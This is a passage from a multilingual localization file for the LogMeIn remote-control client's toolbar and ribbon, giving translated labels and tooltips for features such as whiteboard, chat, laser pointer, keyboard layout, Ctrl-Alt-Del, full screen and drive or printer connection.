<es>Usar disposición del cliente: la Y en un cliente con QWERTY aparecerá como una Y en un host con QWERTZ.\nUsar disposición del host: la Y en un cliente con QWERTY aparecerá como una Z en un host con QWERTZ.</es>
<fr>Utiliser la disposition du client : W sur le QWERTY du client est interprété comme W sur l'AZERTY de l'hôte.\nUtiliser la disposition de l'hôte : W sur le QWERTY du client est interprété comme Z sur l'AZERTY de l'hôte.</fr>
<it>Usa layout client: la Y di un client QWERTY viene letta come Y in un host QWERTZ.\nUsa layout host: la Y di un client QWERTY viene letta come Z in un host QWERTZ.</it>
<ru>Использовать раскладку клиента: Y на QWERTY-клавиатуре клиента сопоставляется с Y на QWERTZ-клавиатуре хоста.\nИспользовать раскладку хоста: Y на QWERTY-клавиатуре клиента сопоставляется с Z на QWERTZ-клавиатуре хоста.</ru>
<ja>クライアント コンピュータのレイアウトを使用します : QWERTY 配列のクライアント コンピュータの Y は、QWERTZ 配列のホスト コンピュータの Y として認識されます。\nホスト コンピュータのレイアウトを使用します : QWERTY 配列のクライアント コンピュータの Y は、QWERTZ 配列のホスト コンピュータの Z として認識されます。</ja>
<zh>使用客户端布局:客户端标准键盘上的 Y 在全键盘上视为 Y。\n使用主机布局:客户端标准键盘上的 Y 在主机全键盘上视为 Z。</zh>
<ko>클라이언트 레이아웃 사용: 클라이언트 QWERTY의 Y가 호스트 QWERTZ에서도 Y로 나타납니다.\n호스트 레이아웃 사용: 클라이언트 QWERTY의 Y가 호스트 QWERTZ에서는 Z로 나타납니다.</ko>
<en-gb>Use client layout: Y on client QWERTY is read as Y on host QWERTZ.\nUse host layout: Y on a client QWERTY is read as Z on the host QWERTZ.</en-gb>
<hu>Kliensgép billentyűzetkiosztásának használata: ebben az esetben a kliensgép QWERTY billentyűzetén beírt Y a QWERTZ billentyűzetkiosztású gazdagépen is Y-ként jelenik meg.\nGazdagép billentyűzetkiosztásának használata: ebben az esetben a kliensgép QWERTY billentyűzetén beírt Y a QWERTZ billentyűzetkiosztású gazdagépen Z-ként jelenik meg.</hu>
<pt-br>Usar layout do cliente: Y no cliente QWERTY é lido como Y no host QWERTZ.\nUsar layout do host: Y em um cliente QWERTY é lido como Z no host QWERTZ.</pt-br>
<nl>Gebruik de client-layout: Y op een client QWERTY-toetsenbord wordt gelezen als Y op een host QWERTZ-toetsenbord.\nGebruik de host-layout: Y op een client QWERTY-toetsenbord wordt gelezen als Z op een host QWERTZ-toetsenbord.</nl>
</msg>
<msg name="WHITEBOARD.HEAD">
<en>Whiteboard</en>
<es>Pizarra</es>
<de>Whiteboard</de>
<fr>Tableau blanc</fr>
<it>Lavagna</it>
<ru>Доска объявлений</ru>
<ja>ホワイトボード</ja>
<zh>白板</zh>
<ko>화이트보드</ko>
<en-gb>Whiteboard</en-gb>
<hu>Rajztábla</hu>
<pt-br>Quadro de comunicações</pt-br>
<nl>Whiteboard</nl>
</msg>
<msg name="WHITEBOARD.BODY">
<en>Turn on/off a pencil tool for drawing on the host display.</en>
<fr>Activez ou désactivez un outil crayon pour dessiner sur l'écran de l'hôte.</fr>
<es>Active o desactive la herramienta de lápiz para dibujar en la pantalla del host.</es>
<de>Sie können das Stift-Tool, mit dem auf dem Host-Bildschirm gezeichnet wird, ein- bzw. ausschalten.</de>
<it>Attiva/disattiva uno strumento matita per disegnare sullo schermo host.</it>
<nl>Schakel een tekenhulpmiddel in of uit, waarmee op het scherm van de host kan worden getekend.</nl>
<pt-br>Ative/Desative a ferramenta lápis para desenhar na tela do host.</pt-br>
<zh>打开/关闭用于在主机屏幕上绘图的画笔功能。</zh>
<ru>Включение и выключение инструмента «карандаш» для рисования на экране хоста.</ru>
<ja>ホスト側のディスプレイに描画するための鉛筆ツールをオンまたはオフにします。</ja>
<ko>호스트 디스플레이에 그릴 수 있는 연필 도구를 켜거나 끌 수 있습니다.</ko>
<hu>A gazdagép képernyőjén használható ceruza be-/kikapcsolása.</hu>
</msg>
<msg name="CHAT.HEAD">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Assistance par chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="CHAT.BODY">
<en>Communicate with a host-side user.</en>
<fr>Communiquez avec un utilisateur côté hôte.</fr>
<es>Comuníquese con el usuario del host.</es>
<de>Sie können mit einem hostseitigen Benutzer kommunizieren.</de>
<it>Comunica con un utente lato host.</it>
<nl>Communiceer met een gebruiker van de host.</nl>
<pt-br>Comunique-se com um usuário do lado do host.</pt-br>
<zh>与主机端用户通信。</zh>
<ru>Общение с пользователем хоста.</ru>
<ja>ホスト側ユーザーと通信します。</ja>
<ko>호스트 측 사용자와 통신할 수 있습니다.</ko>
<hu>Kommunikáció a gazdagép-oldali felhasználóval.</hu>
</msg>
<msg name="LASERPOINTER.HEAD">
<en>Laser Pointer</en>
<de>Laserpointer</de>
<es>Puntero láser</es>
<fr>Pointeur laser</fr>
<it>Puntatore laser</it>
<ru>Лазерная указка</ru>
<ja>レーザーポインター</ja>
<ko>레이저 포인터</ko>
<hu>Lézermutató</hu>
<pt-br>Laser Pointer</pt-br>
<zh>激光指示器</zh>
<nl>Laseraanwijzer</nl>
</msg>
<msg name="LASERPOINTER.BODY">
<en>Turn on/off a small red dot for highlighting items on the host display. </en>
<fr>Activez ou désactivez un point rouge pour indiquer des éléments sur l'écran de l'hôte. </fr>
<es>Active o desactive el pequeño punto rojo para resaltar elementos en la pantalla del host. </es>
<de>Sie können den kleinen roten Punkt, mit dem Objekte auf dem Host-Bildschirm hervorgehoben werden, ein- bzw. ausschalten. </de>
<it>Attiva/disattiva un puntino rosso per far notare degli elementi sullo schermo host. </it>
<nl>Schakel een kleine rode punt in of uit, voor het markeren van items op het scherm van de host. </nl>
<pt-br>Ative/Desative um pequeno ponto vermelho para destacar itens na tela do host. </pt-br>
<zh>打开/关闭用于突出显示主机屏幕上项目的小红点。 </zh>
<ru>Включение и выключение небольшой красной точки для выделения элементов на экране хоста. </ru>
<ja>ホスト側の画面で項目を強調表示するための小さな赤い点をオンまたはオフにします。 </ja>
<ko>호스트 디스플레이 상에서 항목을 강조할 수 있도록 작은 빨간색 추적선을 켜거나 끌 수 있습니다. </ko>
<hu>A gazdagép kijelzőjén lévő elemek megjelölésére szolgáló kis piros pont be-/kikapcsolása. </hu>
</msg>
<msg name="SOUND.HEAD">
<en>Sound</en>
<de>Klang</de>
<es>Sonido</es>
<fr>Son</fr>
<it>Audio</it>
<ru>Звук</ru>
<ja>サウンド</ja>
<ko>사운드</ko>
<hu>Hang</hu>
<pt-br>Som</pt-br>
<zh>声音</zh>
<nl>Geluid</nl>
</msg>
<msg name="SOUND.BODY">
<en>Adjust how sounds from the host are played on the client.</en>
<fr>Réglez la manière dont les sons de l'hôte sont restitués sur le client.</fr>
<es>Ajuste la forma en que se emiten los sonidos del host en el cliente.</es>
<de>Sie können einstellen, wie die Töne des Hostcomputers auf dem Client ausgegeben werden.</de>
<it>Regola l'emissione dell'audio proveniente dall'host nel dispositivo client.</it>
<nl>Pas het afspelen van host-geluiden op de client aan.</nl>
<pt-br>Ajuste como os sons do host são reproduzidos no cliente.</pt-br>
<zh>调整主机声音在客户端上播放的方式。</zh>
<ru>Настройка способа воспроизведения звуков с хоста на клиенте.</ru>
<ja>ホストからの音声をクライアント側で再生する方法を調節します。</ja>
<ko>클라이언트에서 호스트의 사운드를 재생하는 방법을 조정할 수 있습니다.</ko>
<hu>A gazdagépről érkező hangok kliensoldali hangzásának beállítása.</hu>
</msg>
<msg name="CTRALTDEL.HEAD">
<en>Ctrl - Alt - Del</en>
<de>Strg+Alt+Entf</de>
<es>Ctrl-Alt-Supr</es>
<fr>Ctrl-Alt-Del</fr>
<it>Ctrl-Alt-Canc</it>
<ru>Ctrl-Alt-Del</ru>
<ja>Ctrl-Alt-Del</ja>
<zh>Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del</ko>
<en-gb>Ctrl-Alt-Del</en-gb>
<hu>Control-Alt-Del</hu>
<pt-br>Ctrl-Alt-Del</pt-br>
<nl>Ctrl-Alt-Del</nl>
</msg>
<msg name="CMDALTESC.HEAD">
<en>Cmd-Alt-Esc</en>
<fr>Cmd-Alt-Esc</fr>
<es>Cmd-Alt-Esc</es>
<de>CMD+Alt+Esc</de>
<it>Cmd-Alt-Esc</it>
<nl>Cmd-Alt-Esc</nl>
<pt-br>Cmd-Alt-Esc</pt-br>
<zh>Cmd-Alt-Esc</zh>
<ru>Cmd-Alt-Esc</ru>
<ja>Cmd+Alt+Esc</ja>
<ko>Cmd-Alt-Esc</ko>
<hu>Cmd-Alt-Esc</hu>
<en-gb>Cmd-Alt-Esc</en-gb>
</msg>
<msg name="CTRALTDEL.BODY">
<en>Send the Ctrl-Alt-Del key combination to the host.</en>
<fr>Envoyez la combinaison de touches Ctrl-Alt-Suppr à l'hôte.</fr>
<es>Envíe una combinación de teclas Ctrl-Alt-Supr al host.</es>
<de>Sie können die Tastenkombination Strg+Alt+Entf an den Host schicken.</de>
<it>Invia all'host la combinazione di tasti Ctrl-Alt-Canc.</it>
<nl>Stuur de toetsencombinatie Ctrl-Alt-Del naar de host-computer.</nl>
<pt-br>Envie a combinação de teclas Ctrl-Alt-Del ao host.</pt-br>
<zh>将 Ctrl-Alt-Del 组合键发送到主机。</zh>
<ru>Отправка сочетания клавиш Ctrl-Alt-Del на хост.</ru>
<ja>Ctrl+Alt+Del のキーの組み合わせをホストに送信します。</ja>
<ko>Ctrl-Alt-Del 키 조합을 호스트에 보낼 수 있습니다.</ko>
<hu>A Ctrl-Alt-Del billentyűkombináció küldése a gazdagépnek.</hu>
</msg>
<msg name="CMDALTESC.BODY">
<en>Send the Command-Alt-Esc key combination to the host.</en>
<fr>Envoyer la combinaison de touches Commande-Alt-Esc à l'hôte.</fr>
<es>Envíe una combinación de teclas Cmd-Alt-Esc al host.</es>
<de>Sie können die Tastenkombination CMD+Alt+Esc an den Host schicken.</de>
<it>Invia all'host la combinazione di tasti Command-Alt-Esc.</it>
<nl>Stuur de toetsencombinatie Command-Alt-Esc naar de host-computer.</nl>
<pt-br>Envie a combinação de teclas Command-Alt-Esc ao host.</pt-br>
<zh>将 Command-Alt-Esc 组合键发送到主机。</zh>
<ru>Отправка сочетания клавиш Command-Alt-Esc на хост.</ru>
<ja>Command+Alt+Esc のキーの組み合わせをホストに送信します。</ja>
<ko>Command-Alt-Esc 키 조합을 호스트에 보낼 수 있습니다.</ko>
<hu>A Command-Alt-Esc billentyűkombináció küldése a gazdagépnek.</hu>
</msg>
<msg name="COLORQUALITY.HEAD">
<en>Color Quality</en>
<es>Calidad de color</es>
<fr>Qualité d'affichage</fr>
<de>Farbqualität</de>
<it>Qualità del colore</it>
<ru>Качество цветопередачи</ru>
<ja>色の品質</ja>
<zh>色质</zh>
<ko>색 품질</ko>
<en-gb>Colour Quality</en-gb>
<hu>Színminőség</hu>
<pt-br>Qualidade de cor</pt-br>
<nl>Kleurenkwaliteit</nl>
</msg>
<msg name="COLORQUALITY.BODY">
<en>Recommended: Automatically adjust color settings.</en>
<fr>Recommandé : régler automatiquement les paramètres de couleur.</fr>
<es>Se recomienda: Establecer automáticamente los ajustes de color.</es>
<de>Empfohlen: Automatische Anpassung der Farbeinstellungen.</de>
<it>Consigliato: Regola automaticamente le impostazioni di colore.</it>
<nl>Aanbevolen: Kleureninstellingen automatisch aanpassen.</nl>
<pt-br>Recomendado: ajuste as configurações de cor automaticamente.</pt-br>
<zh>建议:自动调整颜色设置。</zh>
<ru>Рекомендуется: автоматическая настройка цвета.</ru>
<ja>推奨: カラー設定を自動的に調整します。</ja>
<ko>권장: 색상 설정 자동으로 조정.</ko>
<hu>Javasolt: Színbeállítások automatikus módosítása.</hu>
</msg>
<msg name="RESOLUTION.HEAD">
<en>Resolution</en>
<de>Auflösung</de>
<es>Resolución</es>
<fr>Résolution</fr>
<it>Risoluzione</it>
<ru>Разрешение</ru>
<ja>解像度</ja>
<ko>해상도</ko>
<hu>Képernyőfelbontás</hu>
<pt-br>Resolução</pt-br>
<zh>分辨率</zh>
<nl>Resolutie</nl>
</msg>
<msg name="RESOLUTION.BODY">
<en>Adjust how you see the host screen.</en>
<fr>Réglez la manière d'afficher l'écran hôte.</fr>
<es>Ajuste la forma en que desea ver la pantalla del host.</es>
<de>Sie können einstellen, wie der Host-Bildschirm angezeigt wird.</de>
<it>Regola il modo in cui viene visualizzato lo schermo host.</it>
<nl>Pas uw weergave van het host-scherm aan.</nl>
<pt-br>Ajuste a aparência da tela do host.</pt-br>
<zh>调整您将看到的主机屏幕样式。</zh>
<ru>Настройка способа отображения экрана хоста.</ru>
<ja>ホスト画面の解像度を調節します。</ja>
<ko>호스트 화면 보는 방법을 조정합니다.</ko>
<hu>A gazdagép-képernyő megjelenítésének beállítása.</hu>
</msg>
<msg name="FULLSCREEN.HEAD">
<en>Full Screen</en>
<de>Vollbild</de>
<es>Pantalla completa</es>
<fr>Plein écran</fr>
<it>Schermo intero</it>
<ru>Во весь экран</ru>
<ja>全画面</ja>
<zh>全屏</zh>
<ko>전체 화면</ko>
<en-gb>Full Screen</en-gb>
<hu>Teljes képernyő</hu>
<pt-br>Tela inteira</pt-br>
<nl>Volledig scherm</nl>
</msg>
<msg name="FULLSCREEN.BODY">
<en>Switch to full screen mode.</en>
<fr>Passez en mode plein écran.</fr>
<es>Activar el modo pantalla completa.</es>
<de>Sie können in den Vollbildmodus wechseln.</de>
<it>Passa alla modalità a schermo intero.</it>
<nl>Schakel over naar modus Volledig scherm.</nl>
<pt-br>Alternar para o modo de tela cheia.</pt-br>
<zh>切换到全屏模式。</zh>
<ru>Переключение в полноэкранный режим.</ru>
<ja>全画面表示モードをオンにする。</ja>
<ko>전체 화면 모드로 전환.</ko>
<hu>Kapcsolás teljes képernyős módba.</hu>
</msg>
<msg name="VIEW.HEAD">
<en>View</en>
<de>Ansicht</de>
<es>Ver</es>
<fr>Affichage</fr>
<it>Visualizza</it>
<ru>Вид</ru>
<ja>表示</ja>
<zh>视图</zh>
<ko>보기</ko>
<en-gb>View</en-gb>
<hu>Nézet</hu>
<pt-br>Exibir</pt-br>
<nl>Beeld</nl>
</msg>
<msg name="VIEW.BODY">
<en>Adjust how you see the host screen.</en>
<fr>Réglez la manière d'afficher l'écran hôte.</fr>
<es>Ajuste la forma en que desea ver la pantalla del host.</es>
<de>Sie können einstellen, wie der Host-Bildschirm angezeigt wird.</de>
<it>Regola il modo in cui viene visualizzato lo schermo host.</it>
<nl>Pas uw weergave van het host-scherm aan.</nl>
<pt-br>Ajuste a aparência da tela do host.</pt-br>
<zh>调整您将看到的主机屏幕样式。</zh>
<ru>Настройка способа отображения экрана хоста.</ru>
<ja>ホスト画面の表示方法を調節します。</ja>
<ko>호스트 화면 보는 방법을 조정합니다.</ko>
<hu>A gazdagép-képernyő megjelenítésének beállítása.</hu>
</msg>
<msg name="MAGNIFY.HEAD">
<en>Magnify</en>
<de>Vergrößern</de>
<es>Ampliar</es>
<fr>Agrandir</fr>
<it>Ingrandisci</it>
<ru>Увеличение</ru>
<ja>拡大</ja>
<ko>확대</ko>
<hu>Nagyítás</hu>
<pt-br>Ampliar</pt-br>
<zh>放大</zh>
<nl>Vergrootglas</nl>
</msg>
<msg name="MAGNIFY.BODY">
<en>Turn on/off a tool for viewing a small area of the host screen in high resolution.</en>
<fr>Activez ou désactivez un outil pour afficher une zone particulière de l'écran hôte en haute résolution.</fr>
<es>Active o desactive la herramienta para ver una pequeña área de la pantalla del host en alta resolución.</es>
<de>Sie können das Tool, mit dem ein kleiner Ausschnitt des Host-Bildschirms in hoher Auflösung angezeigt werden kann, ein- bzw. ausschalten.</de>
<it>Attiva/disattiva uno strumento che ingrandisce una piccola parte dello schermo host visualizzandola ad alta risoluzione.</it>
<nl>Schakel een hulpmiddel in of uit waarmee een klein gebied op het host-scherm in een hoge resolutie kan worden bekeken.</nl>
<pt-br>Ative/Desative uma ferramenta para exibir uma pequena área da tela do host em alta resolução.</pt-br>
<zh>打开/关闭用于以高分辨率查看主机屏幕一小部分的工具。</zh>
<ru>Включение и выключение инструмента для просмотра небольшой области экрана хоста с высоким разрешением.</ru>
<ja>ホスト画面の小さな領域を高解像度で表示するためのツールをオンまたはオフにします。</ja>
<ko>고해상도에서 호스트 화면의 작은 영역을 볼 수 있는 도구를 켜거나 끌 수 있습니다.</ko>
<hu>A gazdagép képernyőjének egy kis részletét nagy felbontásban mutató eszköz be-/kikapcsolása.</hu>
</msg>
<msg name="MONITOR.HEAD">
<en>Monitors</en>
<es>Monitores</es>
<fr>Moniteurs</fr>
<de>Monitore</de>
<it>Monitor</it>
<ru>Мониторы</ru>
<ja>モニタ</ja>
<zh>显示器</zh>
<ko>모니터</ko>
<en-gb>Monitors</en-gb>
<hu>Monitorok</hu>
<pt-br>Monitores</pt-br>
<nl>Beeldschermen</nl>
</msg>
<msg name="MONITOR.BODY">
<en>Switch between multiple host-side monitors.</en>
<fr>Basculez entre plusieurs moniteurs côté hôte.</fr>
<es>Cambie entre los diferentes monitores del host.</es>
<de>Sie können zwischen mehreren Host-Monitoren umschalten.</de>
<it>Passa tra più schermi lato host.</it>
<nl>Schakel heen en weer tussen verschillende host-beeldschermen.</nl>
<pt-br>Alterne entre vários monitores do lado do host.</pt-br>
<zh>在多个主机端显示器间切换。</zh>
<ru>Переключение между несколькими мониторами хоста.</ru>
<ja>ホスト側の複数のモニタを切り替えます。</ja>
<ko>여러 호스트 측 모니터 간을 전환할 수 있습니다.</ko>
<hu>Váltás több gazdagép oldali monitor között.</hu>
</msg>
<msg name="TERMINALSERVER.HEAD">
<en>Terminal Server</en>
<es>Terminal Server</es>
<fr>Terminal Server</fr>
<it>Terminal Server</it>
<ru>Сервер терминалов</ru>
<ja>ターミナル サーバー</ja>
<zh>终端服务器</zh>
<ko>터미널 서버</ko>
<en-gb>Terminal Server</en-gb>
<hu>Terminálkiszolgáló</hu>
<pt-br>Terminal Server</pt-br>
<nl>Terminalserver</nl>
</msg>
<msg name="TERMINALSERVER.BODY">
<en>Attach your remote control connection to an existing terminal server session.</en>
<fr>Rattacher votre connexion de contrôle à distance à une session de serveur de terminal existante.</fr>
<es>Conecte su conexión de control remoto a una sesión existente del servidor terminal.</es>
<de>Sie können Ihre Fernzugriffsverbindung mit einer bereits vorhandenen Terminal-Server-Sitzung verknüpfen.</de>
<it>Collega la connessione di controllo remoto a una sessione Terminal Server esistente.</it>
<nl>Koppel uw verbinding voor besturing op afstand aan een bestaande Terminal Server-sessie.</nl>
<pt-br>Faça a conexão do seu controle remoto com uma sessão existente do terminar server.</pt-br>
<zh>将远程控制连接连到现有的终端服务器会话。</zh>
<ru>Присоединение подключения удаленного управления к существующему сеансу терминального сервера.</ru>
<ja>リモート制御接続を現在のターミナルサーバーセッションに接続します。</ja>
<ko>원격 제어 연결을 기존 터미널 서버 세션에 추가할 수 있습니다.</ko>
<hu>Távvezérléses kapcsolat hozzárendelése meglévő terminálkiszolgáló-munkamenethez.</hu>
</msg>
<msg name="CLOSE">
<en>End Remote Control and return to the LogMeIn Main Menu</en>
<de>Beendet die Fernsteuerung und kehrt zum LogMeIn-Hauptmenü zurück</de>
<es>Finalizar el control remoto y volver al menú principal de LogMeIn.</es>
<fr>Terminer le contrôle à distance et revenir au menu principal de LogMeIn</fr>
<it>Termina controllo remoto e torna al menu principale di LogMeIn</it>
<ru>Завершить удаленное администрирование и вернутся в главное меню LogMeIn </ru>
<ja>リモート制御を終了して LogMeIn メイン メニューへ戻る</ja>
<ko>원격 제어 종료 및 LogMeIn 주 메뉴로 돌아가기</ko>
<hu>A távoli vezérlés befejezése és visszatérés a LogMeIn főmenübe</hu>
<pt-br>Encerre o controle remoto e retorne ao menu principal do LogMeIn.</pt-br>
<zh>结束远程控制并返回到 LogMeIn 主菜单</zh>
<nl>Besturing op afstand beëindigen en terug naar het LogMeIn-hoofdmenu</nl>
</msg>
<msg name="FULLSCREEN.OFF">
<en>Turn off full screen mode</en>
<de>Schaltet den Vollbildmodus aus</de>
<es>Desactivar el modo pantalla completa</es>
<fr>Désactiver le mode plein écran</fr>
<it>Disattiva modalità a schermo intero</it>
<ru>Выключить полноэкранный режим</ru>
<ja>全画面表示モードをオフにする</ja>
<ko>전체 화면 모드 해제</ko>
<hu>A Teljes képernyős mód kikapcsolása</hu>
<pt-br>Desativar modo de tela inteira</pt-br>
<zh>关闭全屏模式</zh>
<nl>Modus Volledig scherm uitschakelen</nl>
</msg>
<msg name="FULLSCREEN.ON">
<en>Switch to full screen mode</en>
<de>Wechselt in den Vollbildmodus</de>
<es>Activar el modo pantalla completa</es>
<fr>Passer au mode plein écran</fr>
<it>Passa alla modalità a schermo intero</it>
<ru>Переключиться в полноэкранный режим</ru>
<ja>全画面表示モードをオンにする</ja>
<ko>전체 화면 모드로 전환</ko>
<hu>Teljes képernyős módba kapcsolás</hu>
<pt-br>Alternar para modo de tela inteira</pt-br>
<zh>切换到全屏模式</zh>
<nl>Overschakelen naar modus Volledig scherm</nl>
</msg>
<msg name="MINIMIZE">
<en>Minimize window</en>
<es>Minimizar ventana</es>
<de>Fenster minimieren</de>
<fr>Réduire la fenêtre</fr>
<it>Riduci la finestra a icona</it>
<ru>Свернуть окно</ru>
<ja>ウィンドウの最小化</ja>
<zh>最小化窗口</zh>
<ko>창 최소화</ko>
<en-gb>Minimize window</en-gb>
<hu>Ablak kis méretűre állítása</hu>
<pt-br>Minimizar janela</pt-br>
<nl>Venster minimaliseren</nl>
</msg>
<msg name="PIN">
<en>Always keep toolbar visible</en>
<de>Symbolleiste immer anzeigen</de>
<es>Mantener siempre la barra de herramientas visible</es>
<fr>Toujours afficher la barre d'outils</fr>
<it>Mantieni la barra degli strumenti sempre visibile</it>
<ru>Всегда отображать панель инструментов</ru>
<ja>ツールバーを常に表示</ja>
<ko>툴바 항상 표시</ko>
<hu>Az eszköztár mindig látható</hu>
<pt-br>Sempre manter a barra de ferramentas visível</pt-br>
<zh>始终保持工具栏可见</zh>
<nl>Werkbalk blijft altijd zichtbaar</nl>
</msg>
<msg name="UNPIN">
<en>Allow toolbar to hide at top of screen</en>
<de>Symbolleiste darf oben auf dem Bildschirm ausgeblendet werden</de>
<es>Permitir que la barra de herramientas se oculte en la parte superior de la pantalla</es>
<fr>Autoriser le masquage de la barre d'outils en haut de l'écran</fr>
<it>Nascondi automaticamente la barra degli strumenti nella parte superiore dello schermo</it>
<ru>Разрешить скрытие панели инструментов в верхней части экрана</ru>
<ja>ツールバーを画面上部に隠す</ja>
<ko>화면 맨 위에 툴바 숨김</ko>
<hu>Az eszköztár automatikusan elrejthető a képernyő felső szélén</hu>
<pt-br>Permitir a opção de ocultar a barra de ferramentas na parte superior da tela</pt-br>
<zh>允许将工具栏隐藏在屏幕顶部</zh>
<nl>Werkbalk kan boven in scherm worden verborgen</nl>
</msg>
<msg name="VOLUME">
<en>Change the volume of remote sound</en>
<de>Ändert die Lautstärke der Tonübertragung vom Ferncomputer</de>
<es>Cambiar el volumen del sonido remoto</es>
<fr>Modifier le volume du son à distance</fr>
<it>Modifica il volume dell'audio remoto</it>
<ru>Изменить громкость удаленного звука</ru>
<ja>リモート サウンドの音量を変更する</ja>
<ko>원격 사운드의 볼륨을 변경합니다.</ko>
<hu>Távhang hangerejének változtatása</hu>
<pt-br>Alterar o volume do som remoto</pt-br>
<zh>更改远程声音的音量</zh>
<nl>Volume van extern geluid aanpassen</nl>
</msg>
<msg name="COMPNAME">
<en>Computer: $1</en>
<de>Computer: $1</de>
<es>Ordenador: $1</es>
<fr>Ordinateur : $1</fr>
<it>Computer: $1</it>
<ru>Компьютер $1</ru>
<ja>コンピュータ: $1</ja>
<ko>컴퓨터: $1</ko>
<hu>Számítógép: $1</hu>
<pt-br>Computador: $1</pt-br>
<zh>计算机: $1</zh>
<nl>Computer: $1</nl>
</msg>
<msg name="SOFTKEYBOARD">
<en>Touch keyboard</en>
<de>Bildschirmtastatur</de>
<es>Teclado táctil</es>
<fr>Clavier à l'écran</fr>
<it>Tastiera virtuale</it>
<ru>Сенсорная клавиатура</ru>
<ja>タッチ キーボード</ja>
<ko>키보드 터치</ko>
<en-gb>Touch keyboard</en-gb>
<hu>Képernyő-billentyűzet</hu>
<pt-br>Teclado virtual</pt-br>
<zh>触控键盘</zh>
<nl>Schermtoetsenbord</nl>
</msg>
</cat>
</cat>
<cat name="RIBBON">
<msg name="CONNOPTIONS">
<en>Connection Options</en>
<de>Verbindungsoptionen</de>
<es>Opciones de conexión</es>
<fr>Options de connexion</fr>
<it>Opzioni di connessione</it>
<ru>Опции подключения</ru>
<ja>接続オプション</ja>
<ko>연결 옵션</ko>
<hu>Kapcsolat-beállítások</hu>
<pt-br>Opções de conexão</pt-br>
<zh>连接选项</zh>
<nl>Verbindingsopties</nl>
</msg>
<msg name="CONNDRV">
<en>Connect Drives</en>
<de>Laufwerke verbinden</de>
<es>Conectar unidades</es>
<fr>Connecter des lecteurs</fr>
<it>Connetti unità</it>
<ru>Подключить диски</ru>
<ja>ドライブを接続</ja>
<ko>드라이브 연결</ko>
<zh>连接驱动器</zh>
<hu>Meghajtók csatlakoztatása</hu>
<pt-br>Conectar unidades</pt-br>
<nl>Stations koppelen</nl>
</msg>
<msg name="BLANKSCREEN">
<en>Blank Screen</en>
<de>Leeren Bildschirm anzeigen</de>
<es>Pantalla sin contenido</es>
<fr>Ecran masqué</fr>
<it>Cancella contenuto dello schermo</it>
<ru>Очистить экран</ru>
<ja>空白画面</ja>
<zh>黑屏</zh>
<ko>빈 화면</ko>
<en-gb>Blank screen</en-gb>
<hu>Üres képernyő</hu>
<pt-br>Tela em branco</pt-br>
<nl>Scherm uitschakelen</nl>
</msg>
<msg name="CONNPRINTER">
<en>Connect Printer</en>
<de>Drucker verbinden</de>
<es>Conectar impresora</es>
<fr>Connecter l'imprimante</fr>
<it>Collega stampante</it>
<ru>Подключение к принтеру</ru>
<ja>プリンタの接続</ja>
<ko>프린터 연결</ko>
<hu>Nyomtató csatlakoztatása</hu>
<pt-br>Conectar impressora</pt-br>
<zh>连接打印机</zh>
<nl>Printer koppelen</nl>
</msg>
<msg name="SYNCCB">
<en>Sync Clipboard</en>
<de>Zwischenablage synchronisieren</de>
<es>Sincronizar portapapeles</es>
<fr>Synchroniser le presse-papiers</fr>
<it>Sincronizza Appunti</it>
<ru>Синхронизировать буфер обмена</ru>
<ja>同期クリップボード</ja>
<ko>클립보드 동기화</ko>
<hu>Vágólap szinkronizálása</hu>
<pt-br>Sincronizar área de transferência</pt-br>
<zh>同步剪贴板</zh>
<nl>Klembord synchroniseren</nl>
</msg>
<msg name="LOCKKB">
<en>Lock keyboard and mouse</en>
<de>Tastatur und Maus sperren</de>
<es>Bloquear teclado y ratón</es>
<fr>Verrouiller le clavier et la souris</fr>
<it>Blocca tastiera e mouse</it>
<ru>Заблокировать клавиатуру и мышь</ru>
<ja>キーボードとマウスをロック</ja>
<ko>키보드 및 마우스 잠금</ko>
<hu>Billentyűzet és egér lezárása</hu>
<pt-br>Travar teclado e mouse</pt-br>
<zh>锁定键盘和鼠标</zh>
<nl>Toetsenbord en muis vergrendelen</nl>
</msg>
<msg name="PRINTER">
<en>Remote Printing</en>
<de>Remote-Drucken</de>
<es>Impresión remota</es>
<fr>Impression à Distance</fr>
<it>Stampa remota</it>
<ru>Удаленная печать</ru>
<ja>リモート印刷</ja>
<zh>远程打印</zh>
<ko>원격 인쇄</ko>
<en-gb>Remote Printing</en-gb>
<hu>Távnyomtatás</hu>
<pt-br>Impressão remota</pt-br>
<nl>Afdrukken op afstand</nl>
</msg>
<msg name="NETWORK">
<en>Network</en>
<de>Netzwerk</de>
<es>Red</es>
<fr>Réseau</fr>
<it>Rete</it>
<ru>Сеть</ru>
<ja>ネットワーク</ja>
<zh>网络</zh>
<ko>네트워크</ko>
<en-gb>Network</en-gb>
<hu>Hálózat</hu>
<pt-br>Rede</pt-br>
<nl>Netwerk</nl>
</msg>
<msg name="TOOLS">
<en>Tools</en>
<de>Extras</de>
<es>Herramientas</es>
<fr>Outils</fr>
<it>Strumenti</it>
<ru>Сервис</ru>
<ja>ツール</ja>
<ko>도구</ko>
<hu>Eszközök</hu>
<pt-br>Ferramentas</pt-br>
<zh>工具</zh>
<nl>Hulpprogramma's</nl>
</msg>
<msg name="WHITEBOARD">
<en>White-\nboard</en>
<es>Pizarra</es>
<de>White-\nboard</de>
<fr>Tableau\nblanc</fr>
<it>Lavagna</it>
<ru>Доска\nобъявлений</ru>
<ja>ホワイトボード</ja>
<zh>白板</zh>
<ko>화이트보드</ko>
<en-gb>White-\nboard</en-gb>
<hu>Rajz-\ntábla</hu>
<pt-br>Quadro de\ncomunicações</pt-br>
<nl>Witte-\nboard</nl>
</msg>
<msg name="CHAT">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Assistance par chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="LASERPOINTER">
<en>Laser\nPointer</en>
<de>Laser-\npointer</de>
<es>Puntero\nláser</es>
<fr>Pointeur\nlaser</fr>
<it>Puntatore\nlaser</it>
<ru>Лазерная\nуказка</ru>
<ja>レーザー\nポインター</ja>
<ko>레이저\n포인터</ko>
<hu>Lézer-\nmutató</hu>
<pt-br>Laser\nPointer</pt-br>
<zh>激光指示器</zh>
<nl>Laser-\naanwijzer</nl>
</msg>
